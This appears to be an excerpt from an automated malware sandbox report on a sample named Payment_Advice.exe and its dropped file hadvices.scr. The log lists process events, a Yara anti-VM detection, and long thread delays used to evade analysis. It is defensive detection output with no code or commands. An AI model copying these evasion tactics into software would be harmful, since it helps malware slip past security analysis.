Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\hadvices.scr	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Payment_Advice.exe PID: 1228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR

Source: C:\Users\user\Desktop\Payment_Advice.exe	Memory allocated: 1450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Memory allocated: 3010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Memory allocated: 2F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Memory allocated: 1550000 memory reserve \| memory write watch
Source: C:\Windows\Temp\hadvices.scr	Memory allocated: 2DB0000 memory reserve \| memory write watch
Source: C:\Windows\Temp\hadvices.scr	Memory allocated: 4DB0000 memory reserve \| memory write watch
Source: C:\Windows\Temp\hadvices.scr	Memory allocated: 1770000 memory reserve \| memory write watch
Source: C:\Windows\Temp\hadvices.scr	Memory allocated: 3130000 memory reserve \| memory write watch
Source: C:\Windows\Temp\hadvices.scr	Memory allocated: 5130000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Payment_Advice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 600000
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599889
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599773
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599664
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599554
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599440
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599324
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 598007
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597881
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597766
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597613
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597444
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597304
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597189
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597080
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596952
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596840
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596715
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596600
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596484
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596362
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596250
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596138
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596012
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595898
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595787
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595643
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595531
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595409
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595284
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595079
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593976
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593862
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593706
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593596
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593456
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593303
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593190
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593065
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592940
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592815
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592690
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592565
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592440
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592315
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592190
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592065
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591940
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591815
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591690
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591565
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591440
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591315
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591190
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 589105

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe	Window / User API: threadDelayed 466	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6693	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3192	Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Window / User API: threadDelayed 2822
Source: C:\Windows\Temp\hadvices.scr	Window / User API: threadDelayed 6968

Source: C:\Users\user\Desktop\Payment_Advice.exe TID: 6428	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe TID: 1664	Thread sleep count: 466 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6480	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6028	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7400	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8268	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep count: 37 > 30
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -599889s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8520	Thread sleep count: 2822 > 30
Source: C:\Windows\Temp\hadvices.scr TID: 8520	Thread sleep count: 6968 > 30
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -599773s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -599664s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -599554s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -599440s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -599324s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -598007s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597881s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597766s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597613s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597444s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597304s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597189s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -597080s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596952s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596840s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596715s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596600s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596484s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596362s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596250s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596138s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -596012s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595898s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595787s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595643s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595531s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595409s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595284s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -595079s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593976s >= -30000s
